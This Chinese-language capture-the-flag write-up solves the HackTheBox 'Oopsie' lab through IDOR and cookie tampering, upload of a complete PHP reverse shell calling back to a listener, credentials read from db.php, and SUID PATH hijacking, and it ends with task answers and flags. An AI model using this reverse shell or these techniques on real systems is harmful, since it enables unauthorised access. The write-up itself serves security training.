HackTheBox-Starting Point--Tier 2---Oospsie

文章目录

  • 一 Oospsie测试过程
    • 1.1 打点
    • 1.2 漏洞探测&权限获取
    • 1.3 横向移动
    • 1.4 权限提升(SUID提权)
  • 二 题目


一 Oospsie测试过程


1.1 打点


  1.端口扫描

nmap -sV -sC 10.129.130.104

在这里插入图片描述

  开放22和80端口,访问80端口,并且发现网站有关于存在登录页面的信息:

在这里插入图片描述

在这里插入图片描述

  尝试寻找登录页面,发现/cdn-cgi/login页面:

在这里插入图片描述

  访问http://10.129.130.104/cdn-cgi/login/

  暴力破解未发现可用的账号密码,以guest身份登录:

在这里插入图片描述

  发现上传页面,但是需要超级管理员用户才可以访问:

在这里插入图片描述


1.2 漏洞探测&权限获取


  Account页面发现URL中存在参数 content=accounts&id=2

在这里插入图片描述
在这里插入图片描述

  id=2时,登录用户为guest,如果将id=1,是不是可以跳转到其他用户;将id=1,页面返回了admin及Access ID

在这里插入图片描述

  从上述页面可以看到,Access ID=34322 Name=admin,那更改role=admin user=34322 的值之后,重新访问upload页面,是不是就可以以管理员身份跳转到上传页面

在这里插入图片描述

  访问上传页面成功,上传php反弹shell:

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.35';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;


if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}


stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}


	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);


	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}


	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}


	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);


function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

在这里插入图片描述

  爆破上传脚本文件的保存地址,发现/uploads目录,猜测文件上传路径可能为:/uploads/php-reverse-shell.php

./gobuster dir -u http://10.129.130.104/ -w directory-list-2.3-small.txt -x php

在这里插入图片描述

  创建监听

ncat -lnvp 4444

  浏览器访问脚本文件:http://10.129.130.104/uploads/php-reverse-shell.php,监听端获取到shell
  执行如下命令,获取交互式shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述


1.3 横向移动


  在/var/www/html/cdn-cgi/login目录下发现多个php文件:

在这里插入图片描述

  查看db.php文件,发现了 robert:M3g4C0rpUs3r!

在这里插入图片描述

  尝试使用 robert:M3g4C0rpUs3r! 登录,成功登录。
  并在/home/robert/user.txt中返现 user flag:

在这里插入图片描述


1.4 权限提升(SUID提权)


# 当前用户可以用 sudo 执行那些命令
sudo -l
# 显示真实有效的用户ID(UID)和组ID(GID)
id

在这里插入图片描述

   robert没有具有sudo权限的可执行命令或文件,检查bugtracker是否有可执行权限或是否具有可执行权限的文件

find / -group bugtracker 2>/dev/null

# 查看bugtracker文件权限及文件类型
ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker 

在这里插入图片描述

   SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。
   在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。
   ​利用此特性,我们可通过SUID进行提权

在这里插入图片描述

   bugtracker 工具使用 cat 命令读取文件
   在tmp目录下创建cat文件,文件内容为/bin/sh,并添加可执行权限

在这里插入图片描述

   可以将/tmp目录添加到PATH环境变量中。

# 添加到path环境变量中
export PATH=/tmp:$PATH
# 检查环境变量
echo $PATH

在这里插入图片描述

   在/tmp目录下执行bugtracker即可获取到root权限

在这里插入图片描述

   查看flag

在这里插入图片描述

二 题目

Tags

PHP、Web、Custom Applications、Session Handling、Apache、Reconnaissance、Web Site Structure Discovery、Cookie Manipulation、SUID Exploitation、Authentication bypass、Clear Text Credentials、Arbitrary File Upload、Insecure Direct Object Reference (IDOR)、Path Hijacking

译文:PHP、Web、定制应用程序、会话处理、Apache、侦察、网站结构发现、Cookie 操作、SUID利用、身份验证绕过、明文凭证、任意文件上传、不安全的直接对象引用 (IDOR)、路径劫持

Connect

To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.

译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。

SPAWN MACHINE

Spawn the target machine and the IP will show here.

译文:生成目标机器,IP 将显示在此处

TASK 1

With what kind of tool can intercept web traffic?

译文:用什么样的工具可以拦截网络流量?

答:proxy

TASK 2

What is the path to the directory on the webserver that returns a login page?

译文:返回登录页面的 Web 服务器上目录的路径是什么?

答:/cdn-cgi/login

TASK 3

What can be modified in Firefox to get access to the upload page?

译文:在Firefox中可以修改哪些内容来访问上传页面?

答:cookie

TASK 4

What is the access ID of the admin user?

译文:admin 用户的访问 ID 是什么?

答:34322

TASK 5

On uploading a file, what directory does that file appear in on the server?

译文:上传文件时,该文件出现在服务器上的哪个目录中?

答:/uploads

TASK 6

What is the file that contains the password that is shared with the robert user?

译文:包含与 robert 用户共享的密码的文件是什么?

答:db.php

TASK 7

Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?

译文:运行什么可执行文件使用选项“-group bugtracker”来识别 bugtracker 组拥有的所有文件?

答:find

TASK 8

Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?

译文:无论哪个用户开始运行 bugtracker 可执行文件,用户权限将使用什么来运行?

答:root

TASK 9

What SUID stands for?

译文:SUID代表什么?

答:Set owner User ID

TASK 10

What is the name of the executable being called in an insecure manner?

译文:以不安全的方式调用的可执行文件的名称是什么?

答:cat

SUBMIT FLAG

Submit user flag

译文:用户flag

答:f2c74ee8db7983851ab2a96a44eb7981

SUBMIT FLAG

Submit root flag

译文:提交root flag

答:af13b0bee69f8a877c3faf667f7beacf

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/153356.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

用人话讲解深度学习中CUDA,cudatookit,cudnn和pytorch的关系

参考链接 本人学习使用&#xff0c;侵权删谢谢。用人话讲解深度学习中CUDA&#xff0c;cudatookit&#xff0c;cudnn和pytorch的关系 CUDA CUDA是显卡厂商NVIDIA推出的运算平台。 CUDA™是一种由NVIDIA推出的通用并行计算架构&#xff0c;是一种并行计算平台和编程模型&…

ClickHouse联合创始人、前Google副总裁Yury到访杭州玖章算术公司,双方建立生态合作

10月31日&#xff0c;ClickHouse联合创始人Yury到访未来科技城&#xff0c;与玖章算术创始人叶正盛和国际总经理Ni Demai展开沟通与推进合作。 图片备注&#xff1a;Ni Demai(左),Yury(中),叶正盛(右) ClickHouse是深受开发者青睐的实时分析型数据库&#xff0c;成立2年就发展成…

rabbitMQ的Topic模式的生产者与消费者使用案例

topic模式 RoutingKey 按照英文单词点号多拼接规则填充。其中消费者匹配规则时候 * 代表一个单词&#xff0c;#表示多个单词 消费者C1的RoutingKey 规则按照*.orange.* 匹配 绑定队列Q1 package com.esint.rabbitmq.work05;import com.esint.rabbitmq.RabbitMQUtils; import …

业务代码到底需不需要用多线程???

1.dubbo场景下的多线程 先来讲讲dubbo场景&#xff0c;整个调用链路非常的清晰&#xff1a; 来&#xff0c;请你告诉我这里面有线程池吗&#xff1f; 没有&#xff01; 是的&#xff0c;在日常的开发中&#xff0c;我就是写个接口给别人调用嘛&#xff0c;在我的接口里面并没有…

RedCap推动5G规模应用,紫光展锐赋能产业高质量发展

5G R17 RedCap作为面向中高速物联网场景的关键技术和解决方案&#xff0c;可以大幅降低终端的复杂度、成本和功耗。在当前国内5G应用规模化发展关键时期&#xff0c;5G R17 RedCap拥有广大的市场潜力与广泛的应用场景&#xff0c;将有助于推动5G规模应用、构建融通发展的5G生态…

深眸科技革新升级OCR技术,与AI视觉实现有效融合赋能各行业应用

OCR即光学字符识别&#xff0c;是通过扫描仪或工业相机等电子设备检查打印的字符&#xff0c;并通过检测暗、亮的模式确定其形状&#xff0c;然后用字符识别方法将形状翻译成计算机文字的过程。 目前&#xff0c;随着机器视觉和人工智能技术的进一步升级&#xff0c;OCR技术实…

【Java实现图书管理系统】

图书管理系统 1. 设计背景2. 设计思路3. 模块展示代码演示3.1 Book类3.2 BookList类&#xff08;书架类&#xff09;3.4 用户类 - User类3.5 子类管理员类 -- AdminUser类3.6 子类普通用户类 -- NormalUser类3.7 操作接口3.8 操作类3.8.1 查找操作 -- FindOperation类3.8.2 增加…

浅谈青岛啤酒厂事件—论智能视频监控的重要性和必要性

近日&#xff0c;“青岛啤酒三厂有工人在原料仓小便”的视频曝光&#xff0c;引发舆论关注。虽然此次事件原委已经明了&#xff0c;但此次事件也给我们敲了一个警钟。啤酒厂生产的是入口的食品原料&#xff0c;就因一个工作口角就导致有人罔顾大众食品安全&#xff0c;作出严重…

2022年09月 Scratch(一级)真题解析#中国电子学会#全国青少年软件编程等级考试

一、单选题(共25题,每题2分,共50分) 第1题 点击绿旗,下面哪个选项可以实际播放放马叫声并在声音全部播放完后,马向右移动? A: B: C: D: 答案:D

Linux使用Docker完整安装Superset3,同时解决please use superset_config.py to override it报错

文章目录 Docker安装Superset流程1. 首先获取镜像2. 生成SSL3. 创建Superset容器4. 更新数据库5. 测试访问Superset Docker安装Superset流程 1. 首先获取镜像 docker pull amancevice/superset2. 生成SSL 接下来我们运行一些额外的程序&#xff1a; openssl rand -base64 4…

详解如何使用Jenkins一键打包部署SpringBoot项目

目录 1、Jenkins简介 2、Jenkins的安装及配置 2.1、Docker环境下的安装​编辑 2.2、Jenkins的配置 3、打包部署SpringBoot应用 3.1、在Jenkins中创建执行任务 3.2、测试结果 1、Jenkins简介 任何简单操作的背后&#xff0c;都有一套相当复杂的机制。本文将以SpringBoot应…

Kubernetes(k8s)进阶

文章目录 Kubernetes进阶一、Namespace&#xff08;名称空间&#xff09;1.namespace介绍2.管理namespace查看namespace创建namespaceyaml文件配置namespace 二、Pod&#xff08;最小基本部署单元&#xff09;1.pod介绍2.管理pod创建并运行pod查看pod信息访问pod删除podyaml文件…

信号特点,异步/同步概念,查看信号(kill -l,man 7 signa),实时/分时os概念

目录 引入 共同特点 信号 介绍 特点 异步 概念 同步 查看信号 kill -l 实时操作系统 和 分时操作系统 分时 实时 man 7 signal 引入 生活中有关信号的东西有很多 例如:红绿灯,闹钟,转向灯等等 共同特点 他们都有共同的特点: 我们是认识这些信号的,以及出现这些信…

conda虚拟环境中安装的cuda和服务器上安装的cuda的异同

服务器上已安装Nvidia提供的cuda&#xff0c;nvcc -V时会出现已安装的CUDA版本。如下图所示&#xff0c;服务器上已安装好的cuda版本为10.1。 但是当我们在Anaconda虚拟环境下安装pytorch或者paddlepaddle等深度学习框架的GPU版本时&#xff0c;通常会选择较高版本的cuda&…

Databend 源码阅读: Storage 概况和 Read Partitions

作者&#xff1a;zhyass | Databend Labs 成员&#xff0c;数据库研发工程师 ❤️ 友情提示&#xff1a;代码演进较快&#xff0c;请注意文档的时效性哦&#xff01; 引言 Databend 将存储引擎抽象成一个名为 Table 的接口&#xff0c;源码位于 query/catalog/src/table.rs。…

java springboot在当前测试类中添加临时属性 不影响application和其他范围

目前 我们的属性基本都写在 application.yml 里面了 但是 如果 我们只是想做一下临时变量的测试 有没有办法实现呢&#xff1f; 显然是有的 这里 我们还是先在application.yml中去写一个 test属性 下面加个prop 然后 我们尝试在测试类中 获取一下这个属性 直接用 Value 读取…

华为Matebook X Pro 2022款 i7 集显(MRG-W76)原装出厂Windows11预装系统21H2

下载链接&#xff1a;https://pan.baidu.com/s/12ru9lUeQ7mWd5u1KLCM0Pg?pwdc7pi 提取码&#xff1a;c7pi 原厂系统自带指纹、面部识别、声卡、网卡、显卡等所有驱动、出厂主题壁纸、Office办公软件、华为电脑管家等预装程序&#xff0c;如图 由于时间关系,绝大部分资料没…

2023-11-16 android 编译提示module freg.default missing dependencies:

一、错误如下&#xff1a; 二、原因 2.1 Andriod.bp 编译的so模块可以被 Android.bp 和 Android.mk 编译依赖。 2.2 Android.mk 编译的so模块仅可以被Android.mk编译的模块依赖&#xff0c;无法被Android.bp编译的模块依赖。 三、参考文章 【Android编译报错&#xff1a;miss…

终于解决!!!the pgadmin4 server could not be contacted

今天尝试用geoserver发布arcgis的gdb数据&#xff0c;说是要用到postgis&#xff0c;于是就安装了&#xff0c;结果刚安装好就遇到这个问题了&#xff0c;pgadmin报错打不开&#xff0c;裤子都没脱就告诉我有错误了&#xff0c;这tm不是欺负老实人吗&#xff0c;于是就开始百度…

第08章 面向对象编程(高级)

一 关键字&#xff1a;static class Circle{private double radius;public Circle(double radius){this.radiusradius;}public double findArea(){return Math.PI*radius*radius;} }创建两个Circle对象&#xff1a; Circle c1new Circle(2.0); //c1.radius2.0 Circle c2new C…